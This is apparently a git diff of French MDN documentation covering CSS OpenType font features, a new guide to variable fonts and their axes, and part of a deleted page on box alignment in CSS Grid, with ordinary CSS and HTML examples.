Attention ! Il existe de nombreuses propriétés CSS qui permettent de manipuler les caractéristiques de police. Cependant, la plupart ne sont pas encore complètement implémentées ni prises en charge de façon homogène. Nous les verrons dans cet article mais il faudra la plupart du temps utiliser {{cssxref("font-feature-settings")}} pour les définir à un plus bas niveau. Il est possible d'écrire du CSS qui gère ces deux cas mais c'est plus laborieux. Mais lorsqu'on utilise font-feature-settings pour chaque caractéristique, il est nécessaire de réécrire la chaîne entière même si on ne souhaite changer qu'une caractéristique.

+
+ +

Découvrir la disponibilité des caractéristiques pour certaines polices

+ +

Il est parfois délicat de savoir quelles caractéristiques sont disponibles pour une police donnée si celle-ci n'est pas accompagnée d'une documentation (la plupart des fonderies proposeront une page d'exemple et du CSS). Certains sites permettent de contourner ce problème : vous pouvez visiter wakamaifondue.com, y uploader le fichier de la police et recevoir un rapport complet peu de temps après ; le site Axis-praxis.org fournit des fonctionnalités analogues et permet de cliquer pour activer/désactiver une ou plusieurs caractéristiques sur un bloc de texte donné.

+ +

Pourquoi utiliser les caractéristiques d'une police ?

+ +

Étant donné que ces caractéristiques peuvent être difficilement accessibles, on peut légitiement se demander pourquoi il faudrait les utiliser. Pour répondre à cette question, il faut voir comment ces caractéristiques peuvent aider à rendre un site plus lisible, accessible, élégant :

+ +
    +
  • Les ligatures telles que œ ou celles qui existent entre 'ff' répartissent plus également l'espace entre les lettres et permettent un lecture plus douce.
    • +
  • Les fractions permettent d'améliorer la compréhension et la lecture de certains textes (des recettes par exemple).
    • +
  • L'écriture des nombres au sein de paragraphes qui suivent la ligne de base du texte ou au contraire dont les jambages passent sous la ligne de base.
    • +
+ +

Bien qu'aucune de ces caractéristiques ne soit critique pour l'utilisabilité d'un site, chacune d'elle peut rendre un site plus lisible voire raffiné

+ +
+

Les caractéristiques OpenType ressemblent à des compartiments secrets : en les déverouillant, une police peut évoluer de façon subtile ou complète. Toutes les caractéristiques OpenType ne doivent pas être utilisées tout le temps mais certaines d'entre elles sont majeures pour obtenir une typographie de premier rang. Tim Brown, Directeur de la typographie chez Adobe.

+
+ +

Au-delà du style : le contenu même

+ +

Il existe certains cas (notamment avec {{cssxref("font-variant-east-asian")}}) où les caractéristiques OpenType sont directement liées à l'utilisation de formes différentes pour certains glyphes. Ces caractéristiques auront un impact sur la lisibilité mais aussi et surtout sur la signification du texte. Dans ces cas, les caractéristiques de police ne sont pas un outil de style mais font partie intégrante du contenu.

+ +

Les caractéristiques

+ +

Il existe une variété de caractéristiques. Nous les avons ici regroupées selon leurs attributs principaux et les options développées dans les spécifications du W3C.

+ +
+

Note : Les exemples qui suivent illustrent certaines propriétés et des combinaisons d'exemple et sont accompagnés des équivalents utilisant la syntaxe de plus bas niveau. Il est possible que ces deux versions d'exemple ne correspondent pas exactement selon l'implémentation des navigateurs. Les polices utilisées ici sont Playfair Display, Source Serif Pro, IBM Plex Serif, Dancing Script et Kokoro (qui sont libres d'utilisation et disponibles via différents services tels que Google Fonts).

+
+ +

Le crénage (kerning) ({{cssxref("font-kerning")}})

+ +

Le crénage correspond à l'espace entre les caractères pour certaines combinaisons de caractères. Cette caractéristique, comme recommandé par la spécification OpenType, est généralement activée par défaut. On notera également que la propriété {{cssxref("letter-spacing")}} permet d'imposer un crénage supplémentaire au texte.

+ +
{{EmbedGHLiveSample("css-examples/font-features/font-kerning.html", '100%', 520)}}
+ +

Les formes alternatives ({{cssxref("font-variant-alternates")}})

+ +

Les polices peuvent fournir différentes formes pour différents glyphes. Cette propriété permet d'activer un ensemble de formes alternatives ou une forme alternative spécifique selon la valeur utilisée. Dans l'exemple qui suit, on voit différentes formes d'utilisation des caractères alternatifs. Les polices qui possèdent des glyphes alternatifs peuvent les rendre disponibles sur la grille de caractères ou dans des ensembles stylistiques séparés voire pour des caractères individuels. Dans cet exemple, on utilise deux polices et la règle-@ {{cssxref("@font-feature-values")}}. Cette méthode permet de définir des raccourcis ou des options nommées qui peuvent ensuite être utilisée sur un ensemble de polices. Ainsi, on peut avoir une option appliquée à une police ou appliquée plus généralement.

+ +
{{EmbedGHLiveSample("css-examples/font-features/font-variant-alternates.html", '100%', 800)}}
+ +
 
+ +
Dans ce cas, @stylistic(alternates) affichera tous les caractères alternatifs pour chacune des polices. En appliquant uniquement ces règles au mot 'My', seul l'affichage de la lettre 'M' est modifié. Si on applique  @styleset(alt-a), seule l'apparence de la lettre a minuscule changera.
+ +

Vous pouvez modifier :

+ +
font-variant-alternates: styleset(alt-a);
+ +

en :

+ +
font-variant-alternates: styleset(alt-g);
+
+ +

et voir comment la lettre a retrouve sa forme normale et comment la lettre g est modifiée.

+ +

En savoir plus sur les formes alternatives

+ + + +

Les ligatures ({{cssxref("font-variant-ligatures")}})

+ +

Les ligatures sont des glyphes qui remplacent deux ou plusieurs glyphes afin de les représenter de façon plus harmonieuse (pour l'espacement et l'esthétique notamment). Certaines de ces ligatures sont fréquemment utilisées (œ) et d'autres sont plus spécialisées et moins usitées (on parle de « ligatures discrétionaires », de « ligatures historiques » ou encore d' « alternatifs contextuels »).

+ +

Bien qu'elles soient plus fréquemment utilisées avec les polices d'écriture, dans l'exemple qui suit, on les utilise afin de créer des flèches :

+ +
{{EmbedGHLiveSample("css-examples/font-features/font-variant-ligatures.html", '100%', 540)}}
+ +

Les positions ({{cssxref("font-variant-position")}})

+ +

Les variantes de positions permettent d'activer le support typographique des glyphes pour les exposants et les indices. Celles-ci sont utilisées dans le texte sans modifier la ligne de base ou l'interlignage (c'est un des avantages par rapport à l'utilisation des éléments HTML {{htmlelement("sub")}} et {{cssxref("sup")}}).

+ +
{{EmbedGHLiveSample("css-examples/font-features/font-variant-position.html", '100%', 550)}}
+ +

Les capitales ({{cssxref("font-variant-caps")}})

+ +

Une utilisation fréquente des caractéristiques OpenType est l'activation de « vraies » petites capitales qui sont généralement utilisées pour les acronymes et les abréviations.

+ +
{{EmbedGHLiveSample("css-examples/font-features/font-variant-caps.html", '100%', 620)}}
+ +

Les chiffres ({{cssxref("font-variant-numeric")}})

+ +

Il existe généralement différents types de chiffre dans les polices :

+ +
    +
  • Les chiffres classiques (ou chiffres Didot) qui sont alignées sur la ligne de base du texte et qui ont la même hauteur que les majuscules
    • +
  • Les chiffres elzéviriens qui ont des jambages et des hampes à la façon des autres lettres minuscules. Ces chiffres sont conçus pour être utilisés en incise et se « fondre » au sein des glyphes alentours, à la manières des petites capitales.
    • +
+ +

On y retrouve également la notion d'espacement. L'espacement proportionnel est le réglage par défaut et l'espacement tabulaire permet d'avoir un espace identique entre chaque chiffre, quelle que soit la largeur du caractère. Ce dernier mode est notamment utile pour l'affichage de nombre dans des tableaux (où on peut souhaiter comparer des montants d'une ligne à l'autre).

+ +

Deux types de fractions peuvent être prises en charge avec cette propriété :

+ +
    +
  • Les fractions avec barre diagonale.
    • +
  • Les fractions empilées verticalement.
    • +
+ +

Les nombres ordinaux peuvent également être pris en charge (« 1er », « 2e ») s'ils sont présents dans la police. De même on peut utiliser un zéro barré si celui-ci est disponible.

+ +

Chiffres classiques et chiffres elzéviriens

+ +
{{EmbedGHLiveSample("css-examples/font-features/font-variant-numeric.html", '100%', 560)}}
+ +

Fractions, nombres ordinaux et zéro barré

+ +
{{EmbedGHLiveSample("css-examples/font-features/font-variant-numeric-frac.html", '100%', 600)}}
+ +

Caractères d'Asie orientale ({{cssxref("font-variant-east-asian")}})

+ +

Cette caractéristique permet d'accéder à différentes formes alternatives de glyphes dans une police. L'exemple qui suit illustre une chaîne de glyphes où seul l'ensemble OpenType 'jis78' est activé. Vous pouvez décocher la case et voir alors d'autres caractères s'afficher.

+ +
{{EmbedGHLiveSample("css-examples/font-features/font-variant-east-asian.html", '100%', 750)}}
+ +
+

Note : Ces glyphes ont été copiés à partir d'un exemple et le texte qu'ils constituent n'ont aucun sens particulier.

+
+ +

Propriété raccourcie ({{Cssxref("font-variant")}})

+ +

La propriété raccourcie font-variant permet de définir l'ensemble des caractéristiques précédentes. Lorsqu'on utilise la valeur normal, toutes les caractéristiques sont réinitialisées et retrouvent leurs valeurs par défaut. En utilisant none,  font-variant-ligatures vaudra none et toutes les autres propriétés récupèreront leurs valeurs initiales (cela signifie entre autres que si le crénage est activé par défaut, il sera toujours activé, même lorsque none est fourni).

+ +
{{EmbedGHLiveSample("css-examples/font-features/font-variant.html", '100%', 600)}}
+ +

Utiliser font-feature-settings

+ +

La propriété {{cssxref("font-feature-settings")}} permet d'utiliser une syntaxe « bas niveau » qui permet un accès explicite à chaque caractéristique OpenType disponible. On dispose ainsi d'un contrôle accru mais on perd l'héritage et il faut tout redéclarer à chaque fois qu'on souhaite modifier une caractéristique (sauf à utiliser des propriétés CSS personnalisées afin de définir les valeurs). Aussi, mieux vaut utiliser les propriétés standards lorsque c'est possible.

+ +

Il existe une myriade de caractéristiques possibles. Vous pouvez en voir quelques exemples ici et il existe plusieurs ressources pour en exploiter d'autres.

+ +

La syntaxe générale suivra cette structure :

+ +
.small-caps {
+  font-feature-settings: "smcp", "c2sc";
+}
+
+ +

Selon la spécification, on peut fournir le code à quatre caractères de la caractéristique ou fournir le code suivi d'un 1 pour activer la fonctionnalité ou suivi d'un 0 pour la désactiver. Ainsi, si on dispose de caractéristiques liées à la ligatures et qui sont activées par défaut, on peut les désactiver de la façon suivante :

+ +
.no-ligatures {
+  font-feature-settings: "liga" 0, "dlig" 0;
+}
+ +

En savoir plus sur les codes des caractéristiques font-feature-settings

+ + + +

Utiliser la détection de fonctionnalités CSS

+ +

Étant donné que toutes les propriétés ne sont pas implémentées de façon homogène, il est préférable d'utiliser la règle @ {{cssxref("@supports")}} pour vérifier quelles propriétés peuvent être utilisées correctement et s'en remettre à {{cssxref("font-feature-settings")}} si nécessaire.

+ +

Ainsi, les petites capitales peuvent être activées de différentes façons mais si on veut s'assurer que la mise en forme fonctionne quelle que soit la capitalisation, il faudra 2 paramètres avec font-feature-settings et une seule valeur pour {{cssxref("font-variant-caps")}}.

+ +
.small-caps {
+   font-feature-settings: "smcp", "c2sc";
+}
+
+@supports (font-variant-caps: all-small-caps) {
+   .small-caps {
+       font-feature-settings: normal;
+       font-variant-caps: all-small-caps;
+   }
+}
+
+ +

Voir aussi

+ +

Démonstrations de caractéristiques OpenType en CSS

+ + + +

Outils web d'analyse de polices

+ + + +

Spécifications W3C

+ + + +

Autres ressources

+ + diff --git a/files/fr/web/css/css_fonts/variable_fonts_guide/index.html b/files/fr/web/css/css_fonts/variable_fonts_guide/index.html new file mode 100644 index 0000000000..043902094e --- /dev/null +++ b/files/fr/web/css/css_fonts/variable_fonts_guide/index.html @@ -0,0 +1,265 @@ +--- +title: Guide des polices variables +slug: Web/CSS/CSS_Fonts/Guide_polices_variables +tags: + - CSS + - Fonts + - Guide + - Polices +translation_of: Web/CSS/CSS_Fonts/Variable_Fonts_Guide +--- +
{{CSSRef}}
+ +

Les polices variables sont une évolution de la spécification OpenType et qui permet d'activer différentes variations d'une police dans un seul fichier plutôt que d'avoir différents fichiers pour chaque taille, graisse ou style. En CSS, on peut accéder à l'ensemble des variations en utilisant une seule référence {{cssxref("@font-face")}}. Dans cet article, nous verrons tout ce qu'il faut savoir pour commencer à utiliser les polices variables.

+ +
+

Attention !  Afin d'utiliser les polices variables, il faut s'assurer que son système d'exploitation est à jour. Pour les systèmes basés sur GNU/Linux, il faut la version la plus récente de Linux Freetype. Pour macOS, les versions antérieures à 10.13 ne prennent pas en charge les polices variables. Si votre système d'exploitation n'est pas à jour ou ne prend pas en charge les polices variables, vous ne pourrez pas en bénéficier sur le Web ou dans les outils de développement Firefox par exemple.

+
+ +

Qu'est-ce qu'une police variable ?

+ +

Pour mieux comprendre le fonctionnement des polices variables, revenons sur les polices « statiques » et comparons les deux systèmes.

+ +

Les polices standard ou polices statiques

+ +

Auparavant, une police de caractères était représentées par différents fichiers pour les différentes fontes. Aussi, on avait par exemple différents fichiers pour 'Roboto Regular', 'Roboto Bold' et 'Roboto Bold Italic' et on pouvait avoir 20 à 30 fichiers distincts pour représenter l'intégralité d'une police.

+ +

Avec un tel scénario et pour utiliser une police de façon classique sur un site, il fallait au moins quatre fichier pour les différents styles : normal, italique, gras et gras-italique. Si on souhaitait ajouter un autre niveau de graisse (par exemple une fonte plus légère pour les légendes), il fallait rajouter un fichier. Sur le réseau, cela se traduisait par d'autres requêtes HTTP et plus de données téléchargées (environ 20Ko pour chaque fichier).

+ +

Les polices variables

+ +

Avec une police variable, toutes ces combinaisons de style et de graisse sont contenues dans un seul fichier. On a donc un fichier plus gros qu'un fichier de police classique mais dont la taille est inférieure ou proche de celle des 4 fichiers qu'on chargerait pour la police principale d'un site. L'avantage d'une police variable est qu'on peut accéder à l'intégralité des corps, graisses et italiques sans être plus contraint par ceux du ou des fichiers chargés séparément.

+ +

Cela permet d'utiliser des techniques typographiques classiques pour avoir des niveaux de titre avec différents corps, d'utiliser une fonte plus étroite lorsqu'il y a plus de données à afficher, etc. Dans un magazine, par exemple, il n'est pas rare d'avoir un système typographique qui utilise 10 à 15 fontes qui sont autant de combinaisons de corps et de graisse.

+ +

Quelques notes à propos des familles de polices, des corps et des variantes

+ +

On a mentionné avant qu'on avait différents fichiers pour chaque graisse et italique et qu'on ne demandait pas au navigateur de synthétiser ces aspects. En effet, la plupart des polices ont des dessins spécifiques pour chaque graisse et chaque niveau d'italique (le a et le g minuscule sont souvent assez différents en italique par exemple). Afin de respecter ces spécificités et d'éviter les différences entre les implémentations des navigateurs, on préfèrera charger les fichiers correspondant à chaque graisse / italique lorsqu'on n'utilise pas de police variable.

+ +

Vous pourrez aussi remarquer que certaines polices viennent avec deux fichiers : un contenant les caractères sans italique et leurs variations et un autre contenant les variations italiques. Cette méthode est parfois choisie afin de réduire la taille du fichier lorsqu'on n'a pas besoin des italiques. Dans tous les cas, il est toujours possible de les lier avec un nom {{cssxref("font-family")}} et d'appeler chaque style avec la valeur pertinente pour {{cssxref("font-style")}}.

+ +

L'axe de variation

+ +

Le concept clé des polices variables est celui d'axe de variation qui décrit l'intervalle autorisé pour faire varier un aspect donné d'une police. Ainsi, l'axe de la graisse décrit l'étendue entre les caractères les plus fins et les plus gras qui puissent être ; l'axe de la largeur parcourt l'étroitesse ou la largeur de la police ; l'axe italique décrit si des formes italiques sont présentes, etc. Un axe peut être un intervalle ou un choix binaire. Ainsi, la graisse pourra varier entre 1 et 999 tandis que l'italique pourrait être uniquement activable ou désactivable (1 ou 0 respectivement).

+ +

Comme indiqué dans la spécification, deux types d'axe existent : les axes enregistrés et les axes spécifiques (custom axes) :

+ +
    +
  • +

    Les axes enregistrés sont ceux que l'on rencontre le plus souvent et qui ont donc été standardisés dans la spécification. À l'heure actuelle, il existe 5 axes enregistrés : le corps, la largeur, la pente, l'italique et la taille optique. Chacun de ces axes possède un attribut CSS correspondant.

    +
    • +
  • +

    Les axes spécifiques peuvent être n'importe quel axe défini par le concepteur de la police. Chaque axe doit simplement être défini par une étiquette avec quatre lettres qui permettront de l'identifier. Ces étiquettes pourront être utilisées dans le code CSS pour indiquer quel niveau de variation utiliser (cf. exemples ci-après).

    +
    • +
+ +

Les axes enregistrés et les attributs CSS existants

+ +

Dans cette section, nous verrons en détails les cinq axes enregistrés ainsi que des exemples CSS associés. Dans les cas où c'est possible, nous inclurons la syntaxe standard et la syntaxe de plus bas niveau qui utilise ({{cssxref("font-variation-settings")}}).

+ +

Cette propriété fut le premier mécanisme implémenté pour tester les premières implémentations des polices variables et elle reste nécessaire pour utiliser de nouveaux axes ou des axes spécifiques au-delà des cinq axes enregistrés. Toutefois, lorsque c'est possible, cette syntaxe ne doit pas être utilisée si une propriété de plus haut niveau est disponible. Autrement dit, font-variation-settings doit uniquement être utilisée afin de définir des valeurs pour des axes qui ne seraient pas accessibles autrement.

+ +

Notes

+ +
    +
  1. +

    Les noms d'axes utilisés avec font-variation-settings sont sensibles à la casse. Les noms des axes enregistrés doivent être écrits en minuscules et les noms des axes spécifiques doivent être écrits en majuscules. Ainsi, dans ce cas :

    + + 
    font-variation-settings: 'wght' 375, 'GRAD' 88;
    + +

    wght correspondra à l'axe enregistré du même nom et GRAD à un axe spécifique.

    +
    2. +
  2. +

    Si on a défini des valeurs avec font-variation-settings et qu'on souhaite changer une de ces valeurs, il sera nécessaire de redéclarer l'ensemble des valeurs (de la même façon qu'on doit redéclarer l'ensemble des caractéristiques OpenType avec {{cssxref("font-feature-settings")}}). Il est possible de contourner cet écueil en utilisant des propriétés CSS personnalisées pour les valeurs individuelles et en modifiant uniquement la valeur d'une des propriétés personnalisée (cf. l'exemple en fin d'article).

    +
    3. +
+ +

La graisse (weight)

+ +

La graisse (représenté par l'étiquette wght) définit l'épaisseur des traits formants les caractères. En CSS, le descripteur {{cssxref("font-weight")}} a depuis longtemps permis d'utiliser différentes graisses avec des valeurs numériques comprises entre 100 et 900 (avec des incréments de 100) ou des mots-clés tels que normal ou bold qui étaient des alias pour une valeur numérique correspondante (400 et 700 ici). Ces valeurs sont toujours utilisables pour les polices statiques mais il est désormais possible d'utiliser n'importe quel entier entre 1 et 1000 dans le cas de polices variables.

+ +

On notera qu'il n'est pas possible d'utiliser la déclaration @font-face afin qu'un point donné sur cet axe corresponde au mot-clé bold (ou tout autre mot-clé). Cela pourra généralement être résolu simplement mais nécessitera d'écrire plus de CSS :

+ +
font-weight: 375;
+
+font-variation-settings: 'wght' 375;
+ +

Vous pouvez éditer l'exemple CSS suivant pour voir l'effet sur la graisse de la police.

+ +
{{EmbedGHLiveSample("css-examples/variable-fonts/weight.html", '100%', 520)}}
+ +

La largeur (width)

+ +

La largeur (indiquée par l'étiquette wdth) correspond à l'axe selon lequel les caractères sont plus ou moins étroits ou larges. En CSS, c'est le descripteur {{cssxref("font-stretch")}} qui peut être utilisé avec un pourcentage inférieur ou supérieur à 100% (la largeur « normale ») ou avec n'importe quel nombre positif. Si une valeur numérique est fournie et se situe en dehors de l'intervalle couvert par la police variable, le navigateur devra choisir la valeur la plus proche possible.

+ +
+

Note : Lorsqu'on utilise la notation « bas niveau » avec font-variation-settings, on n'écrit pas le caractère %.

+
+ +
font-stretch: 115%;
+
+font-variation-settings: 'wdth' 115;
+
+ +

L'exemple suivant peut être édité pour observer les modifications des valeurs sur cet axe.

+ +
{{EmbedGHLiveSample("css-examples/variable-fonts/width.html", '100%', 520)}}
+ +

L'italique

+ +

L'axe italique (ital) fonctionne différemment car il ne s'agit pas d'un intervalle mais d'une option activée ou désactivée : il n'y a pas de valeurs intermédiaires. Les caractères en italique sont la plupart du temps très différents de leur équivalent sans italique et passer d'un mode à l'autre entraîne généralement l'utilisation de glyphes différents. Attention à ne pas confondre l'italique et l'oblique (cf. l'axe de pente ci-après) : une police aura une forme italique ou une variabilité sur l'axe de pente mais rarement les deux.

+ +

En CSS, l'italique est appliqué grâce à la propriété {{cssxref("font-style")}} (qui permet aussi d'appliquer l'oblique). On notera l'apparition de la propriété font-synthesis: none; qui empêche les navigateurs de synthétiser l'italique en penchant les caractères (on pourra aussi utiliser cette valeur de façon équivalente pour éviter de synthétiser la graisse).

+ +
font-style: italic;
+
+font-variation-settings: 'ital' 1;
+
+font-synthesis: none;
+ +

L'exemple suivant peut être édité pour observer les modifications des valeurs sur cet axe.

+ +
{{EmbedGHLiveSample("css-examples/variable-fonts/italic.html", '100%', 520)}}
+ +

La pente (slant)

+ +

La pente (indiquée par l'étiquette slnt), également appelée « oblique », diffère de l'italique car elle applique une pente sur les caractères mais ne change aucun des glyphes. Cet axe est un intervalle numérique allant généralement de 0 (droit) à 20 degrés. Toutefois, les valeurs allant de -90 et à 90 (degrés) sont autorisées. C'est également le descripteur font-style qui peut être utilisé pour cet axe.

+ +
+

Note : Le mot-clé deg ne doit pas être utilisé comme unité pour la notation avec font-variation-settings.

+
+ +
font-style: oblique 14deg;
+
+font-variation-settings: 'slnt' 14;
+ +

L'exemple suivant peut être édité pour observer les modifications des valeurs sur cet axe.

+ +
{{EmbedGHLiveSample("css-examples/variable-fonts/slant.html", '100%', 520)}}
+ +

La taille optique

+ + + + + +

La taille optique, indiquée par l'étiquette opsz, correspond à la variation de l'épaisseur des traits formants le caractère afin de s'assurer que celui-ci puisse être lu avec un petit corps et ainsi de garantir une bonne impression ou un bon affichage à l'écran.

+ +

Ainsi, pour les petits corps, on pourra avoir des traits plus épais et pour des grands corps, on pourra avoir une variation d'épaisseur plus importante entre les différents traits du caractères pour développer correctement le dessin de la police.

+ +

La plupart du temps, les valeurs liées à la taille optique sont appliquées automatiquement avec les valeurs correspondantes de font-size mais on peut tout à fait les manipuler avec la syntaxe de bas niveau font-variation-settings.

+ +

Une nouvelle propriété CSS a été créée afin de prendre en charge cet axe avec une syntaxe haut niveau pour les polices variables : {{cssxref("font-optical-sizing")}}. Le descripteur font-optical-sizing permet uniquement d'utiliser les valeurs auto ou none et ainsi uniquement d'activer ou de désactiver le dimensionnement optique. Toutefois, avec font-variation-settings: 'opsz' <num>, on peut fournir une valeur numérique. Dans la plupart des cas, on utilisera la même valeur pour font-size et pour opsz. Il est ici permis d'utiliser une autre valeur spécifique afin d'améliorer la lisibilité ou d'obtenir un effet esthétique.

+ +
font-optical-sizing: auto;
+
+font-variation-settings: 'opsz' 36;
+ +

L'exemple suivant peut être édité pour observer les modifications des valeurs sur cet axe.

+ +
{{EmbedGHLiveSample("css-examples/variable-fonts/optical-sizing.html", '100%', 1020)}}
+ +

Les axes spécifiques

+ +

Les axes spécifiques sont introduits spécifiquement par les concepteurs de polices et peuvent correspondre à n'importe quelle variation. Il est possible que certains axes spécifiques deviennent fréquemment utilisés voire finissent par être intégrés aux axes enregistrés mais seul l'avenir le dira avec certitude.

+ +

Le grade

+ +

Le grade est une variation qui consiste à épaissir certains des traits des glyphes sans agrandir la largeur totale du glyphe. En augmentant le grade, on a ainsi un caractère plus « dense ». Il ne faut pas confondre le corps et le grade : le premier augmente la taille générale, largeur incluse, des glyphes tandis que le second ne modifie pas l'espace physique occupé par le caractère. Le grade est un axe spécifique plutôt populaire car il permet de faire varier la densité apparente du texte sans modifier sa largeur et ainsi il évite de générer un décalage du texte.

+ +
font-variation-settings: 'GRAD' 88;
+ +

L'exemple suivant peut être édité pour observer les modifications des valeurs sur cet axe.

+ +
{{EmbedGHLiveSample("css-examples/variable-fonts/grade.html", '100%', 520)}}
+ +

Utiliser une police variable : les changements pour @font-face

+ +

Pour charger une police variable, la syntaxe est proche de celle utilisée pour les polices statiques. Les quelques différences notables sont apportées par des ajouts à la syntaxe {{cssxref("@font-face")}} disponible dans la plupart des navigateurs modernes.

+ +

La syntaxe de base est la même mais on peut indiquer la technologie utilisée pour la police ainsi que les intervalles autorisés pour les descripteurs font-weight et font-stretch.

+ +

Exemple d'une police standard réale droite :

+ +
@font-face {
+ font-family: 'MyVariableFontName';
+ src: 'path/to/font/file/myvariablefont.woff2' format('woff2-variations');
+ font-weight: 125 950;
+ font-stretch: 75% 125%;
+ font-style: normal;
+}
+
+ +

Exemple d'une police avec une forme droite et une forme italique :

+ +
@font-face {
+ font-family: 'MyVariableFontName';
+ src: 'path/to/font/file/myvariablefont.woff2' format('woff2-variations');
+ font-weight: 125 950;
+ font-stretch: 75% 125%;
+ font-style: oblique 0deg 20deg;
+}
+ +
+

Note : Il n'existe pas de valeur spécifique pour la mesure du degré supérieur. Les valeurs fournies à font-style indiquent simplement qu'un axe est présent afin que le navigateur puisse afficher correctement les caractères droits ou en italique.

+
+ +

Exemple d'une police qui ne contient que des italiques et aucun caractère droit :

+ +
@font-face {
+ font-family: 'MyVariableFontName';
+ src: 'path/to/font/file/myvariablefont.woff2' format('woff2-variations');
+ font-weight: 125 950;
+ font-stretch: 75% 125%;
+ font-style: italic;
+}
+ +

Exemple d'une police avec un axe de pente :

+ +
@font-face {
+ font-family: 'MyVariableFontName';
+ src: 'path/to/font/file/myvariablefont.woff2' format('woff2-variations');
+ font-weight: 125 950;
+ font-stretch: 75% 125%;
+ font-style: oblique 0deg 12deg;
+}
+ +
+

Note : La syntaxe complète n'est pas implémentée par l'ensemble des navigateurs et il faudra donc tester avec précaution. Tous les navigateurs qui prennent en charge les polices variables sauront les afficher même si seul le format de fichier est indiqué (plutôt que le format complet : par exemple woff2 à la place de woff2-variations), mais mieux vaut utiliser la syntaxe la plus précise si possible.

+
+ +
+

Note : Fournir des valeurs d'intervalle pour font-weight, font-stretch et font-style empêchera le navigateur d'afficher des polices en dehors de ces intervalles en utilisant les attributs font-weight ou font-stretch. En revanche, cela ne bloquera pas la syntaxe de plus bas niveau avec font-variation-settings !

+
+ +

Amélioration progressive et anciens navigateurs

+ +

La prise en charge des polices variables peut être vérifié grâce à {{cssxref("@supports")}}. Il est donc possible d'utiliser des polices variables en production et de limiter la portée des polices variables à l'intérieur d'une requête de prise en charge.

+ +
h1 {
+ font-family: some-non-variable-font-family;
+}
+
+@supports (font-variation-settings: 'wdth' 115) {
+ h1 {
+    font-family: some-variable-font-family;
+ }
+}
+ +

Pages d'exemples

+ +

Les pages d'exemples suivantes illustrent deux façons pour structurer le CSS. La première utilise les attributs standards où c'est possible et la seconde utilise les propriétés personnalisées afin de définir les valeur pour la chaîne de caractères fournie à font-variation-settings et montre comment mettre à jour une valeur plutôt que de redéfinir l'intégralité de la chaîne de caractères. On notera aussi l'effet au survol (hover) sur l'élément h2 qui ne joue que sur l'axe de grade.

+ +
{{EmbedGHLiveSample("css-examples/variable-fonts/sample-page.html", '100%', 1220)}}
+ +

Voir aussi

+ + diff --git "a/files/fr/web/css/css_grid_layout/alignement_des_bo\303\256tes_avec_les_grilles_css/index.html" "b/files/fr/web/css/css_grid_layout/alignement_des_bo\303\256tes_avec_les_grilles_css/index.html" deleted file mode 100644 index 8353f2c29e..0000000000 --- "a/files/fr/web/css/css_grid_layout/alignement_des_bo\303\256tes_avec_les_grilles_css/index.html" +++ /dev/null @@ -1,661 +0,0 @@ ---- -title: L'alignement des boîtes avec les grilles CSS -slug: Web/CSS/CSS_Grid_Layout/Alignement_des_boîtes_avec_les_grilles_CSS -tags: - - CSS - - CSS Grid - - Grille CSS - - Guides - - Intermédiaire -translation_of: Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout ---- -
{{CSSRef}}
- -

{{PreviousMenuNext("Web/CSS/CSS_Grid_Layout/Placement_automatique_sur_une_grille_CSS", "Web/CSS/CSS_Grid_Layout/Les_grilles_CSS_les_valeurs_logiques_les_modes_d_écriture","Web/CSS/CSS_Grid_Layout")}}

- -

Si vous connaissez les boîtes flexibles (flexbox) vous savez déjà comment aligner les éléments flexibles à l'intérieur d'un conteneur flexible. Ces propriétés d'alignement, initialement spécifiée dans la spécification des boîtes flexibles, sont désormais spécifiées dans une nouvelle spécification Box Alignment Level 3. Cette spécification détaille le fonctionnement de l'alignement pour les différentes méthodes de disposition.

- -

Chaque méthode de disposition qui implémente cette nouvelle spécification se comportera légèrement différemment selon les différences de contraintes et de fonctionnalités (et aussi selon le comportement historique). On ne pourra donc pas avoir un alignement exactement homogène. La spécification pour l'alignement des boîtes détaille le fonctionnement de chaque méthode mais malheureusement, à l'heure actuelle, aucun navigateur ne prend en charge cette spécification. À l'heure actuelle, les navigateurs respectent les règles de cette spécification pour l'alignement et la répartition de l'espace lorsqu'on utilise une disposition en grille. Dans cet article, nous verrons comment celles-ci fonctionnent. On retrouvera de nombreux points communs avec les boîtes flexibles pour le fonctionnement de ces propriétés et valeurs. Toutefois, les grilles fonctionnant sur deux axes et les boîtes flexibles sur un seul, il faudra faire attention à quelques différences. Commençons par analyser les deux axes utilisés lorsqu'il s'agit d'aligner des objets sur une grille.

- -

Les deux axes d'une grille

- -

Lorsqu'on manipule une grille, on dispose  de deux axes sur lesquels aligner les objets. L'axe de bloc et l'axe en ligne. L'axe de bloc est l'axe selon lequel les blocs sont disposés quand on a une disposition en bloc (block layout). Par exemple, si on a deux paragraphes sur une page, par défaut, ils s'affichent l'un en dessous de l'autre.

- -

- -

L'axe en ligne est orthogonal à l'axe de bloc. C'est la direction selon laquelle progresse le texte.

- -

- -

Grâce aux propriétés et à leurs valeurs, nous serons en mesure d'aligner le contenu de la grillle par rapport à ces deux axes.

- -

Aligner des objets sur l'axe de bloc (block axis)

- -

Les propriétés {{cssxref("align-self")}} et {{cssxref("align-items")}} permettent de contrôler l'alignement selon l'axe de bloc. Lorsqu'on utilise ces propriétés, on modifie l'alignement de l'objet au sein de la zone de grille sur laquelle il est placé.

- -

Dans l'exemple suivant, on a quatre zones sur la grille. On peut utiliser la propriété {{cssxref("align-items")}} sur le conteneur de la grille afin d'aligner les objets avec l'une des valeurs suivantes :

- -
    -
  • auto
    • -
  • normal
    • -
  • start
    • -
  • end
    • -
  • center
    • -
  • stretch
    • -
  • baseline
    • -
  • first baseline
    • -
  • last baseline
    • -
- -
- - -
.wrapper {
-  display: grid;
-  grid-template-columns: repeat(8, 1fr);
-  grid-gap: 10px;
-  grid-auto-rows: 100px;
-  grid-template-areas:
-    "a a a a b b b b"
-    "a a a a b b b b"
-    "c c c c d d d d"
-    "c c c c d d d d";
-  align-items: start;
-}
-.item1 {
-  grid-area: a;
-}
-.item2 {
-  grid-area: b;
-}
-.item3 {
-  grid-area: c;
-}
-.item4 {
-  grid-area: d;
-}
-
- -
<div class="wrapper">
-  <div class="item1">Objet 1</div>
-  <div class="item2">Objet 2</div>
-  <div class="item3">Objet 3</div>
-  <div class="item4">Objet 4</div>
-</div>
-
- -

{{EmbedLiveSample('alignment_1', '500', '450')}}

-
- -

Lorsqu'on utilise align-self: start, la hauteur de chaque <div> sera déterminée par le contenu du <div>. En revanche, si on n'utilise pas {{cssxref("align-self")}}, chaque <div> sera étiré afin de remplir la zone de la grille.

- -

